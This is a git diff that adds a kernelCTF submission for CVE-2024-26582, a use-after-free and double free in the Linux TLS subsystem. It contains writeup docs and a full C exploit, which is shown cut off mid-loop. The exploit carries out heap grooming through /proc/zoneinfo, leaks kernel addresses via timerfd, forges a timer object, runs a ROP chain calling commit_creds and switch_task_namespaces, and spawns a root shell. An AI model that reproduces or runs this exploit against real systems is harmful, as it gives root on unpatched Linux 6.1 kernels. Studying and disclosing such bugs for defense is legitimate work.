diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/exploit.md b/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/exploit.md new file mode 100644 index 000000000..f59f6e962 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/exploit.md @@ -0,0 +1,210 @@ +## Setup + +To trigger the TLS encryption we must first configure the socket. +This is done using the setsockopt() with SOL_TLS option: + +``` + static struct tls12_crypto_info_aes_ccm_128 crypto_info; + crypto_info.info.version = TLS_1_2_VERSION; + crypto_info.info.cipher_type = TLS_CIPHER_AES_CCM_128; + + if (setsockopt(sock, SOL_TLS, TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); + +``` + +This syscall triggers allocation of TLS context objects which will be important later on during the exploitation phase. + +In KernelCTF config PCRYPT (parallel crypto engine) is disabled, so our only option to trigger async crypto is CRYPTD (software async crypto daemon). + +Each crypto operation needed for TLS is usually implemented by multiple drivers. +For example, AES encryption in CBC mode is available through aesni_intel, aes_generic or cryptd (which is a daemon that runs these basic synchronous crypto operations in parallel using an internal queue). + +Available drivers can be examined by looking at /proc/crypto, however those are only the drivers of the currently loaded modules. Crypto API supports loading additional modules on demand. + +As seen in the code snippet above we don't have direct control over which crypto drivers are going to be used in our TLS encryption. +Drivers are selected automatically by Crypto API based on the priority field which is calculated internally to try to choose the "best" driver. + +By default, cryptd is not selected and is not even loaded, which gives us no chance to exploit vulnerabilities in async operations. + +However, we can cause cryptd to be loaded and influence the selection of drivers for TLS operations by using the Crypto User API. This API is used to perform low-level cryptographic operations and allows the user to select an arbitrary driver. + +The interesting thing is that requesting a given driver permanently changes the system-wide list of available drivers and their priorities, affecting future TLS operations. + +Following code causes AES CCM encryption selected for TLS to be handled by cryptd: + +``` + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); +``` + +## Triggering the first free of the physical page + +To free physical pages backing the skb we only have to perform a partial read on a socket that has some TLS data available. +An order-0 page will be released to the PCP. + +## Reallocating released pages + +Any object that allocates from a cache using a single page slab can be used here. + +We decided to use user_key_payload object: + +``` +struct user_key_payload { + struct callback_head rcu __attribute__((__aligned__(8))); /* 0 0x10 */ + short unsigned int datalen; /* 0x10 0x2 */ + char data[] __attribute__((__aligned__(8))); /* 0x18 0 */ +}; +``` + +Before we trigger the partial read, we allocate a fresh slab of kmalloc-256 using the [zoneinfo parsing technique](novel-techniques.md#predicting-when-a-new-heap-slab-is-going-to-be-allocated). +Then we allocate 15 more xattrs (whole slab fits 16), making sure that the next kmalloc-256 allocation will use our skb page from the PCP. + +Finally, we allocate the key. + +## Triggering the double free + +Reading the remaining data from the socket will release the physical page that is now used by user_key_payload objects. + +## Overwriting user_key_payload objects and leaking data + +Next step is to overwrite user_key_payload with simple_xattr: +``` +struct simple_xattr { + struct list_head list; /* 0 0x10 */ + char * name; /* 0x10 0x8 */ + size_t size; /* 0x18 0x8 */ + char value[]; /* 0x20 0 */ +}; +``` + +This has an effect of changing the datalen field of the key to a large value, giving us a leak. + +We use this to identify a target xattr located below the key we used for leaks. +We also look through other xattrs' next/prev pointers to determine target xattr's location in the kernel memory - we'll need it later to be able to set pointers to our payload. + +### Freeing xattr and allocating timerfd_ctx + +Our chosen xattr is then replaced with timerfd_ctx which also belongs to the kmalloc-256: + +``` +struct timerfd_ctx { + union { + struct hrtimer tmr __attribute__((__aligned__(8))); /* 0 0x40 */ + struct alarm alarm __attribute__((__aligned__(8))); /* 0 0x78 */ + } t __attribute__((__aligned__(8))); /* 0 0x78 */ + ktime_t tintv; /* 0x78 0x8 */ + ktime_t moffs; /* 0x80 0x8 */ + wait_queue_head_t wqh; /* 0x88 0x18 */ + u64 ticks; /* 0xa0 0x8 */ + int clockid; /* 0xa8 0x4 */ + short unsigned int expired; /* 0xac 0x2 */ + short unsigned int settime_flags; /* 0xae 0x2 */ + struct callback_head rcu __attribute__((__aligned__(8))); /* 0xb0 0x10 */ + /* --- cacheline 3 boundary (192 bytes) --- */ + struct list_head clist; /* 0xc0 0x10 */ + spinlock_t cancel_lock; /* 0xd0 0x4 */ + bool might_cancel; /* 0xd4 0x1 */ + + /* size: 216, cachelines: 4, members: 12 */ +}; + +struct hrtimer { + struct timerqueue_node node __attribute__((__aligned__(8))); /* 0 0x20 */ + ktime_t _softexpires; /* 0x20 0x8 */ + enum hrtimer_restart (*function)(struct hrtimer *); /* 0x28 0x8 */ + struct hrtimer_clock_base * base; /* 0x30 0x8 */ + u8 state; /* 0x38 0x1 */ + u8 is_rel; /* 0x39 0x1 */ + u8 is_soft; /* 0x3a 0x1 */ + u8 is_hard; /* 0x3b 0x1 */ + + /* size: 64, cachelines: 1, members: 8 */ +} __attribute__((__aligned__(8))); + +struct hrtimer_clock_base { + struct hrtimer_cpu_base * cpu_base; /* 0 0x8 */ + unsigned int index; /* 0x8 0x4 */ + clockid_t clockid; /* 0xc 0x4 */ + seqcount_raw_spinlock_t seq; /* 0x10 0x4 */ + struct hrtimer * running; /* 0x18 0x8 */ + struct timerqueue_head active; /* 0x20 0x10 */ + ktime_t (*get_time)(void); /* 0x30 0x8 */ + ktime_t offset; /* 0x38 0x8 */ + + /* size: 64, cachelines: 1, members: 8 */ +} __attribute__((__aligned__(64))); + +``` + +### Leaking kernel base and getting RIP control + +Next step is to leak the timerfd_ctx.t.tmr.function pointer to get the kernel text base. +For this pointer to be set, the timer must be first activated with timerfd_setime(). + +Next step is to trigger removal of key objects and replacing them with xattrs to overwrite timerfd_ctx objects with our fake timers. + +Fake timerfd_ctx is prepared in prepare_fake_timer(). + +Instead of using the obvious t.tmr.function for RIP control, we used base.get_time() as it gives us code execution in the syscall context instead of an interrupt context. + +This means we have to find a place with a known location for our hrtimer_clock_base object, but fortunately we know the address of the timerfd_ctx because it's the same address we leaked from the xattr before. +We only need one pointer from the hrtimer_clock_base so we use an unused offset of our fake timer for this purpose. + +Finally, we call timerfd_gettime() on our corrupted timerfd objects to get RIP control. + +### Pivot to ROP + +When get_time() is called, R12 contains a pointer to our timerfd_ctx. + +Following gadgets are used to pivot to ROP: + +``` +mov rsi, qword ptr [r12 + 0x48] +mov rdi, qword ptr [r12 + 0x50] +mov rdx, r15 +mov rax, qword ptr [r12 + 0x58] +call __x86_indirect_thunk_rax + +``` + +then + +``` +push rdi +jmp qword ptr [rsi + 0xf] +``` + +and + +``` +pop rsp +ret +``` + +which means our ROP chain at location pointed to by timerfd_ctx + 0x50. We also set this pointer to a part of the fake timerfd_ctx. + +## Second pivot + +At this point we have full ROP, but not much space left, so we choose an unused read/write area in the kernel and use copy_user_generic_string() to copy the second stage ROP from userspace to that area. +Then we use a `pop rsp ; ret` gadget to pivot there. + +## Privilege escalation + +The execution is happening in the context of a syscall this time, so it's easy to escalate privileges with standard commit_creds(init_cred); switch_task_namespaces(pid, init_nsproxy); sequence and return to the root shell. diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/novel-techniques.md b/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/novel-techniques.md new file mode 100644 index 000000000..d843dd6fe --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/novel-techniques.md @@ -0,0 +1,50 @@ +## Determining heap and page allocator state by parsing /proc/zoneinfo + +Linux kernel exposes a lot of information in a world-readable /proc/zoneinfo including: + +- per-node free/low/high page counters for the buddy allocator +- per-cpu cache count/high/batch counters + +This can be useful in multiple ways during exploitation. + +### Predicting when a new heap slab is going to be allocated + +When performing a cross-cache attack or any other technique involving reuse of physical pages by SLUB allocator we would like to be able to allocate our victim object from a newly allocated slab. + +This is not trivial because we don't know the existing state of a given kmalloc cache - it probably already has some partial slabs and a new kmalloc will use them before allocating a new slab page. + +The usual solution to this problem is to just allocate a lot of objects and hope some will eventually be allocated from the new page. +The downside is that we won't know which allocated object is the one we are interested in (the one from a new page). + +There are also often limits on the number of the victim object we can create. +In an extreme case, the victim object can be a single-instance item and we only have one chance to get it allocated from the page we want. + +Lastly, when exploiting a use-after-free caused by a race condition we need to perform the reallocation in the shortest time possible and performing hundred allocation syscalls in the tight race condition window just won't work. + +Even when there are no such limitations, using this technique tends to increase exploit reliability. + +Parsing /proc/zoneinfo solves these problems by giving us a count of the currently available pages on our CPU, for example: +``` + cpu: 0 + count: 293 + high: 378 + batch: 63 +``` + +Before performing our attack we need to prepare by allocating objects from the chosen cache (e.g. kmalloc-256) and reading /proc/zoneinfo after each allocation. +When count is decreased by the number of pages per slab (e.g. kmalloc-256 uses 1 page per slab and kmalloc-512 2 pages, but this is version and config dependent). + +When we notice the decrease in page it means our last allocation triggered a new slab. + +Now we have to allocate (objects_per_slab-1) objects and we can be sure that the current slab is full and next allocation (the important one) will use a newly allocated physical page. + + +### Predicting how much we have to allocate free to trigger PCP flush + +Sometimes we want to reuse a physical page for allocation that needs a page of a different order (e.g. we have a use-after-free object from kmalloc-512 that uses order 1 page and we want to reallocate it from kmalloc-256 cache that uses order 0 pages). + +To be able to do this we have to flush our page from the PCP to return it to the buddy allocation. To do this we need to free enough physical pages to exceed the 'high' mark of the PCP. +Parsing /proc/zoneinfo allows us to know exactly how many pages have to be freed instead of doing it blindly. + + + diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/vulnerability.md b/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/vulnerability.md new file mode 100644 index 000000000..9e0634d24 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/docs/vulnerability.md @@ -0,0 +1,33 @@ +## Requirements to trigger the vulnerability + +- Kernel configuration: CONFIG_TLS and one of [CONFIG_CRYPTO_PCRYPT, CONFIG_CRYPTO_CRYPTD] +- User namespaces required: no + +## Commit which introduced the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=fd31f3996af2627106e22a9f8072764fede51161 + +## Commit which fixed the vulnerability + +https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=32b55c5ff9103b8508c1e04bfa5a08c64e7a925f + +## Affected kernel versions + +Introduced in 6.0. Fixed in 6.1.78 and other stable trees. + +## Affected component, subsystem + +net/tls + +## Description + +When TLS decryption is used in async mode tls_sw_recvmsg() tries to use a zero-copy mode if possible, but this only works if the caller has enough space to receive the entire cleartext message. +For partial reads a clear text skb is allocated in tls_decrypt_sg() instead. + +Pointers to physical pages backing this skb are then copied into the sgvec passed to tls_do_decryption(), but reference count is not increased on these pages. + +The skb is then added to the rx_list queue. + +After decryption is finished, tls_decrypt_done() calls put_page() on these pages, triggering their release, but they are still referenced in the skb in the rx_list queue. + +When another tls_sw_recvmsg() call is made on the same socket use-after-free happens, with data being read from the released physical pages backing the skb and when all data has been read, double-free happens, as consume_skb() tries to release the already released physical pages. diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/Makefile b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/Makefile new file mode 100644 index 000000000..5a82c9a6c --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/Makefile @@ -0,0 +1,9 @@ +INCLUDES = +LIBS = -pthread -ldl -lkeyutils +CFLAGS = -fomit-frame-pointer -static -fcf-protection=none + +exploit: exploit.c kernelver_6.1.77.h + gcc -o $@ exploit.c $(INCLUDES) $(CFLAGS) $(LIBS) + +prerequisites: + sudo apt-get install libkeyutils-dev diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/exploit b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/exploit new file mode 100755 index 000000000..1ba60ce2f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/exploit.c b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/exploit.c new file mode 100644 index 000000000..fb4249892 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2024-26582_lts/exploit/lts-6.1.77/exploit.c @@ -0,0 +1,781 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "kernelver_6.1.77.h" + +static char *g_mmapped_buf; +static uint64_t g_kernel_text; +static pid_t g_sender_pid; + +#ifdef DEBUG +#define err(errcode, msg, ...) \ + do { \ + perror(msg); \ + sleep(1000); \ + } while (0) +#define errx(errcode, msg, ...) \ + do { \ + puts(msg); \ + sleep(1000); \ + } while (0) +#endif + +struct list_head { + struct list_head * next; /* 0 0x8 */ + struct list_head * prev; /* 0x8 0x8 */ + + /* size: 16, cachelines: 1, members: 2 */ + /* last cacheline: 16 bytes */ +}; + +struct simple_xattr { + struct list_head list; /* 0 0x10 */ + char * name; /* 0x10 0x8 */ + size_t size; /* 0x18 0x8 */ + uint64_t value[2]; /* 0x20 0 */ +}; + + + + +void set_cpu(int cpu) +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + CPU_SET(cpu, &cpus); + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void set_cpu_all() +{ + cpu_set_t cpus; + CPU_ZERO(&cpus); + for (int i = 0; i < 4; i++) + { + CPU_SET(i, &cpus); + } + if (sched_setaffinity(0, sizeof(cpu_set_t), &cpus) < 0) { + perror("setaffinity"); + exit(1); + } +} + +void get_kctf_flag() +{ + char buf[512]; + + + int fd = open("/flag", O_RDONLY); + + if (fd < 0) + return; + + size_t n = read(fd, buf, sizeof(buf)); + if (n > 0) { + printf("Flag:\n"); + + write(1, buf, n); + + printf("\n"); + } + + close(fd); +} + +static char *g_sh_argv[] = {"sh", NULL}; + +static int g_status; + +#define MMAP_SIZE 0x10000 +#define XATTR_HEAD_SIZE 0x20 +#define KEY_HEAD_SIZE 0x18 + +static int g_pwned; +static char *g_rop2; +static size_t g_rop2_len; + +#define ROP2_CONST_AREA 0x10 +#define ROP2_CONST_OFFSET 0x200 + +uint64_t kaddr(uint64_t addr) +{ + return g_kernel_text + addr - 0xffffffff81000000uL; +} + + +void __attribute__((naked)) after_pwn() +{ +// Fix user stack and recover eflags since we didn't do when returning from kernel mode + asm volatile( + "mov %0, %%rsp\n" + :: "r" (g_mmapped_buf + MMAP_SIZE - 0x100) + ); + + g_pwned = 1; + + + set_cpu(1); + + int pid = fork(); + + if (!pid) { + + if (setns(open("/proc/1/ns/mnt", O_RDONLY), 0) < 0) + perror("setns"); + + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("\nGot root!!!\n"); + printf("Getting kctf flags ...\n"); + + get_kctf_flag(); + + printf("Launching shell, system will crash when you exit because I didn't bother with recovery ...\n"); + execve("/bin/sh", g_sh_argv, NULL); + _exit(0); + } + + waitpid(pid, &g_status, 0); + + + + printf("Shell exited, sleeping for 30 seconds, after that system might crash\n"); + + sleep(30); + _exit(0); +} + + +void rop_rax2rdi(uint64_t **rop_p) +{ + uint64_t *rop = *rop_p; + + *(uint64_t *) (g_rop2+ROP2_CONST_OFFSET) = kaddr(POP_RDI); // RCX == RW_BUFFER + +// rax -> rdi + *rop++ = kaddr(POP_RCX); + *rop++ = kaddr(RW_BUFFER+ROP2_CONST_OFFSET); + *rop++ = kaddr(PUSH_RAX_JMP_QWORD_RCX); + + *rop_p = rop; +} + +size_t prepare_rop2(uint64_t *rop2) +{ + uint64_t *rop2_start = rop2; + + + *rop2++ = kaddr(POP_RDI); + *rop2++ = kaddr(INIT_CRED); + *rop2++ = kaddr(COMMIT_CREDS); + *rop2++ = kaddr(AUDIT_SYSCALL_EXIT); + + // Namespace escape based on code by Crusaders of Rust + *rop2++ = kaddr(POP_RDI); + *rop2++ = 1; + *rop2++ = kaddr(FIND_TASK_BY_VPID); + + *rop2++ = kaddr(POP_RSI_RDI); + *rop2++ = kaddr(INIT_NSPROXY); + *rop2++ = 0xdeadaaaa; + + rop_rax2rdi(&rop2); // clobbers RCX + + + *rop2++ = kaddr(SWITCH_TASK_NAMESPACES); + + *rop2++ = kaddr(POP_R11_R10_R9_R8_RDI_RSI_RDX_RCX); +// eflags + *rop2++ = 0; + rop2 += 6; + +// Userspace RIP + *rop2++ = (uint64_t) after_pwn; + + *rop2++ = kaddr(RETURN_VIA_SYSRET); + + return (char *) rop2 - (char *) rop2_start; +} + + +int alloc_xattr_fd_attr(int fd, char *attr, size_t size, void *buf) +{ + int res = fsetxattr(fd, attr, buf, size - XATTR_HEAD_SIZE, XATTR_CREATE); + if (res < 0) { + printf("attr: %s\n", attr); + err(1, "fsetxattr"); + } + + return fd; +} + +int alloc_xattr_fd(int fd, unsigned int id, size_t size, void *buf) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + alloc_xattr_fd_attr(fd, attr, size, buf); + + return fd; +} + +void free_xattr_fd(int fd, int id) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + fremovexattr(fd, attr); +} + + +ssize_t read_xattr_fd(int fd, int id, char *buf, size_t sz) +{ + char *attr; + + asprintf(&attr, "security.%d", id); + + ssize_t ret = fgetxattr(fd, attr, buf, sz); + + if (ret < 0) + err(1, "read_xattr_fd"); + + return ret; +} + +#define SLAB_256_CNT 16 +#define KEY_CNT SLAB_256_CNT*3 +#define A1_CNT SLAB_256_CNT*10 +#define A3_CNT 1024 + +enum XATTR_IDX_RANGE { + A3, + A1, + A2, + A4, + XATTR_IDX_MAX +}; + +#define XATTR_MAX_CHUNK 3000 +#define XATTR_IDX(base, offset) (base*XATTR_MAX_CHUNK + offset) + +char *g_stack1; + +void setup_tls(int sock, int is_rx) +{ + if (setsockopt(sock, SOL_TCP, TCP_ULP, "tls", sizeof("tls")) < 0) + err(1, "setsockopt"); + + static struct tls12_crypto_info_aes_ccm_128 crypto_info = {.info.version = TLS_1_2_VERSION, .info.cipher_type = TLS_CIPHER_AES_CCM_128}; + + if (setsockopt(sock, SOL_TLS, is_rx ? TLS_RX : TLS_TX, &crypto_info, sizeof(crypto_info)) < 0) + err(1, "TLS_TX"); +} + +int sender(void *a) +{ + int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + struct sockaddr_in addr; + memset(&addr, 0, sizeof(addr)); + + set_cpu(1); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (connect(sock, &addr, sizeof(addr)) < 0) + err(1, "connect"); + + + setup_tls(sock, 0); + + char buf[1024]; + memset(buf, 'B', sizeof(buf)); + send(sock, g_mmapped_buf, 2, 0); + + sleep(2000); + exit(0); +} + +key_serial_t alloc_key(int id, size_t len, char *buf) +{ + key_serial_t serial; + char desc[256]; + len -= KEY_HEAD_SIZE; + + snprintf(desc, sizeof(desc), "%d", id); + + serial = syscall(SYS_add_key, "user", desc, buf, len, KEY_SPEC_PROCESS_KEYRING); + + if (serial < 0) { + err(1, "key add"); + } + + return serial; +} + +void free_key(key_serial_t key) +{ + long ret = syscall(SYS_keyctl, KEYCTL_UNLINK, key, KEY_SPEC_PROCESS_KEYRING); + if (ret < 0) { + perror("key unlink"); + exit(1); + } + +} + +unsigned int parse_zoneinfo(char *buf, unsigned int *high, unsigned int *batch) +{ + char *t; + + t = strstr(buf, "zone Normal"); + t = strstr(t, "cpu: 0"); + t = strstr(t, "count: "); + +// puts(t); + + unsigned int cnt = atoi(t+7); + + if (high) { + t = strstr(t, "high: "); + *high = atoi(t+6); + } + + if (batch) { + t = strstr(t, "batch: "); + *batch = atoi(t+7); + } + + return cnt; + +} + +unsigned int get_pagecount(unsigned int *high, unsigned int *batch) +{ + static char zibuf[10000]; + static int fdzi = -1; + + if (fdzi < 0) { + fdzi = open("/proc/zoneinfo", 0, O_DIRECT); + if (fdzi < 0) + err(1, "open zoneinfo"); + } + + lseek(fdzi, SEEK_SET, 0); + read(fdzi, zibuf, sizeof(zibuf)); + + return parse_zoneinfo(zibuf, high, batch); +} + +void die(char *msg) +{ + puts(msg); + + unlink("/tmp/x"); + unlink("/tmp/x2"); + + kill(g_sender_pid, 9); + + int status; + if (waitpid(g_sender_pid, &status, 0) < 0) + err(1, "waitpid"); + + exit(1); +} + +void prepare_spinlock(uint64_t *lock_ptr) +{ + *lock_ptr++ = 0xdead4ead00000000; +} + +void prepare_fake_timer(char *timer, uint64_t xattr_addr) +{ + + g_rop2_len = prepare_rop2((uint64_t *) g_rop2); + if (g_rop2_len > ROP2_CONST_OFFSET) + err(1, "Stage 2 ROP size too big: %d > %d\n", g_rop2_len, ROP2_CONST_OFFSET); + + prepare_spinlock((uint64_t *) (timer + 0x88)); + prepare_spinlock((uint64_t *) (timer + 0xd0)); + + *(uint64_t *) (timer+0x78) = 1; + *(uint16_t *) (timer+0xac) = 1; + + + + *(uint64_t *) (timer + 0x20) = kaddr(POP_RSP); + +// base + *(uint64_t *) (timer + 0x30) = xattr_addr + 0xb0 - 0x30; + +/* +0xffffffff81e0e2e4: mov rsi, qword ptr [r12 + 0x48] +0xffffffff81e0e2e9: mov rdi, qword ptr [r12 + 0x50] +0xffffffff81e0e2ee: mov rdx, r15 +0xffffffff81e0e2f1: mov rax, qword ptr [r12 + 0x58] +0xffffffff81e0e2f6: call __x86_indirect_thunk_rax +*/ + *(uint64_t *) (timer + 0xb0) = kaddr(G1); + +// rsi + *(uint64_t *) (timer + 0x48) = xattr_addr + 0x20 - 0xf; +// rdi + *(uint64_t *) (timer + 0x50) = xattr_addr + 0x60; + + *(uint64_t *) (timer + 0x58) = kaddr(PUSH_RDI_JMP_QWORD_RSI_0F); + + uint64_t *rop = (uint64_t *) (timer + 0x60); + *rop++ = kaddr(POP_RSI_RDI_RBP); + *rop++ = (uint64_t) g_rop2; + *rop++ = kaddr(RW_BUFFER); + rop += 1; + *rop++ = kaddr(POP_RCX); + rop += 1; + *rop++ = kaddr(COPY_USER_GENERIC_STRING); + *rop++ = kaddr(POP_RSP); + *rop++ = kaddr(RW_BUFFER); +} + + +#define STACK_SIZE (1024 * 1024) /* Stack size for cloned child */ + + + +int main(int argc, char **argv) +{ + setbuf(stdout, NULL); + + g_mmapped_buf = mmap(NULL, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE, -1, 0); + if (g_mmapped_buf == MAP_FAILED) { + perror("mmap"); + return 1; + } + + memset(g_mmapped_buf, 0, MMAP_SIZE); + +#define ROP2_MMAP_SIZE 0x4000 + g_rop2 = mmap(NULL, ROP2_MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE|MAP_LOCKED, -1, 0); + if (g_rop2 == MAP_FAILED) + err(1, "mmap"); + + struct timeval time; + gettimeofday(&time,NULL); + + srand((time.tv_sec * 1000) + (time.tv_usec / 1000)); + + set_cpu(0); + + int xattr_fd = open("/tmp/x", O_RDWR|O_CREAT); + int xattr_fd2 = open("/tmp/x2", O_RDWR|O_CREAT); + if (xattr_fd < 0 || xattr_fd2 < 0) + err(1, "xattr open\n"); + + struct sockaddr_alg sa = { + .salg_family = AF_ALG, + .salg_type = "skcipher", + .salg_name = "cryptd(ctr(aes-generic))" + }; + int c1 = socket(AF_ALG, SOCK_SEQPACKET, 0); + + if (bind(c1, (struct sockaddr *)&sa, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + + + struct sockaddr_alg sa2 = { + .salg_family = AF_ALG, + .salg_type = "aead", + .salg_name = "ccm_base(cryptd(ctr(aes-generic)),cbcmac(aes-aesni))" + }; + + if (bind(c1, (struct sockaddr *)&sa2, sizeof(sa)) < 0) + err(1, "af_alg bind"); + + g_stack1 = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0); + if (g_stack1 == MAP_FAILED) { + perror("mmap stack"); + exit(1); + + } + + int sock_serv = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); + + if (sock_serv < 0) + err(1, "socket"); + + int flag = 1; + setsockopt(sock_serv, SOL_SOCKET, SO_REUSEADDR, &flag, sizeof(flag)); + + struct sockaddr_in addr, peer_addr; + memset(&addr, 0, sizeof(addr)); + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = inet_addr("127.0.0.1"); + addr.sin_port = htons(7777); + + if (bind(sock_serv, &addr, sizeof(addr)) < 0) + err(1, "connect"); + + listen(sock_serv, 99999); + + g_sender_pid = clone(sender, g_stack1 + STACK_SIZE, CLONE_FS | CLONE_FILES | CLONE_VM | SIGCHLD, NULL); + + if (g_sender_pid < 0) + err(1, "clone sender"); + + socklen_t sz; + int sock = accept(sock_serv, &peer_addr, &sz); + + if (sock < 0) + err(1, "accept"); + + setup_tls(sock, 1); + + +// Make sure the first key below won't trigger key_jar slab allocation that would steal our page + key_serial_t k1 = alloc_key(10000, 32, g_mmapped_buf); + free_key(k1); + + sleep(2); + + int pcnt1 = get_pagecount(NULL, NULL); + unsigned int detected = 0; + + for (int i = 0; i < A1_CNT; i++) + { + alloc_xattr_fd(xattr_fd, XATTR_IDX(A1, i), 197, g_mmapped_buf); + int pcnt2 = get_pagecount(NULL, NULL); + + if ((pcnt1-pcnt2) == 1) { + detected = 1; + break; + } + + pcnt1 = pcnt2; + + } + + if (!detected) + die("Unable to detect new kmalloc-256 slab"); + + memset(g_mmapped_buf, 'A', 256); + + for (int i = 0; i < SLAB_256_CNT-1; i++) + { + alloc_xattr_fd(xattr_fd, XATTR_IDX(A2, i), 197, g_mmapped_buf); + + } + + recv(sock, g_mmapped_buf, 1, 0); + key_serial_t keys[KEY_CNT]; + + memset(g_mmapped_buf, 'K', 256); + + for (int i = 0; i < KEY_CNT; i++) + { + keys[i] = alloc_key(i, 197, g_mmapped_buf); + } + + recv(sock, g_mmapped_buf, 1, 0); + + memset(g_mmapped_buf, 'B', 256); + for (int i = 0; i < A3_CNT; i++) + { + *(uint64_t *) g_mmapped_buf = i; + alloc_xattr_fd(xattr_fd, XATTR_IDX(A3, i), 197, g_mmapped_buf); + } + + + struct simple_xattr xattrs[A3_CNT]; + memset(xattrs, 0, sizeof(xattrs)); + unsigned int xattr_ids[KEY_CNT*A3_CNT]; + memset(xattr_ids, 0, sizeof(xattr_ids)); + + unsigned int id_cnt = 0; + + for (int i = 0; i < KEY_CNT; i++) + { + memset(g_mmapped_buf, 0, MMAP_SIZE); + + size_t sz = keyctl_read(keys[i], g_mmapped_buf, MMAP_SIZE); + if (sz <= 173) + continue; + + for (int j = 0; j < MMAP_SIZE - 0x30; j += 8) + { + struct simple_xattr *x = (struct simple_xattr *) (g_mmapped_buf + j); + uint64_t id = x->value[0]; + + if (id && id < A3_CNT && x->value[1] == 0x4242424242424242L) { + x->value[0] = i; + xattrs[id] = *x; + xattr_ids[id_cnt++] = id; + } + } + + } + + int target_xattr = -1; + uint64_t xattr_addr; + unsigned int our_key; + + for (int id = 0; id < A3_CNT; id++) + { + struct simple_xattr *x = &xattrs[id]; + + if (!x->name) + continue; + + if (id < (A3_CNT-1) && xattrs[id+1].list.next) { + xattr_addr = (uint64_t) xattrs[id+1].list.next; + target_xattr = id; + our_key = x->value[0]; + break; + } else if (id > 0 && xattrs[id-1].list.prev) { + xattr_addr = (uint64_t) xattrs[id-1].list.prev; + target_xattr = id; + our_key = x->value[0]; + break; + } + } + + if (target_xattr < 0) + die("Leak 1 failed"); + + printf("Found target xattr %d at %p\n", target_xattr, xattr_addr); + + free_xattr_fd(xattr_fd, XATTR_IDX(A3, target_xattr)); + + struct itimerspec its = { 0 }; + + its.it_value.tv_sec = 999999; +#define TFD_CNT 64 + int tfds[TFD_CNT]; + for (int i = 0; i < TFD_CNT; i++) + { + tfds[i] = timerfd_create(CLOCK_MONOTONIC, 0); + timerfd_settime(tfds[i], 0, &its, NULL); + } + + size_t sz2 = keyctl_read(keys[our_key], g_mmapped_buf, MMAP_SIZE); + unsigned int found_kleak = 0; + + if (sz2 > 173) { + for (int j = 0; j < MMAP_SIZE; j += 8) + { + uint64_t *p = (uint64_t *) (g_mmapped_buf + j); + if (*p && (*p & 0xfff) == (TIMERFD_TMRPROC & 0xfff)) { + g_kernel_text = *p - (TIMERFD_TMRPROC - 0xffffffff81000000L); + found_kleak = 1; + printf("Found timer function: %p at offset %d kernel text: %p\n", *p, j, g_kernel_text); + break; + } + } + } + + if (!found_kleak) + die("Leak 2 failed"); + + memset(g_mmapped_buf, 'D', 256); + + + struct itimerspec its3; + memset(&its3, 0, sizeof(its3)); + +// Disarm timers + for (int i = 0; i < TFD_CNT; i++) + { + timerfd_settime(tfds[i], TFD_TIMER_ABSTIME, &its3, NULL); + } + + for (int i = 0; i < KEY_CNT; i++) + { + free_key(keys[i]); + } + + sleep(2); + + memset(g_mmapped_buf, 'C', 256); + prepare_fake_timer(g_mmapped_buf - 0x20, xattr_addr); + + for (int i = 0; i < KEY_CNT*4; i++) + { + 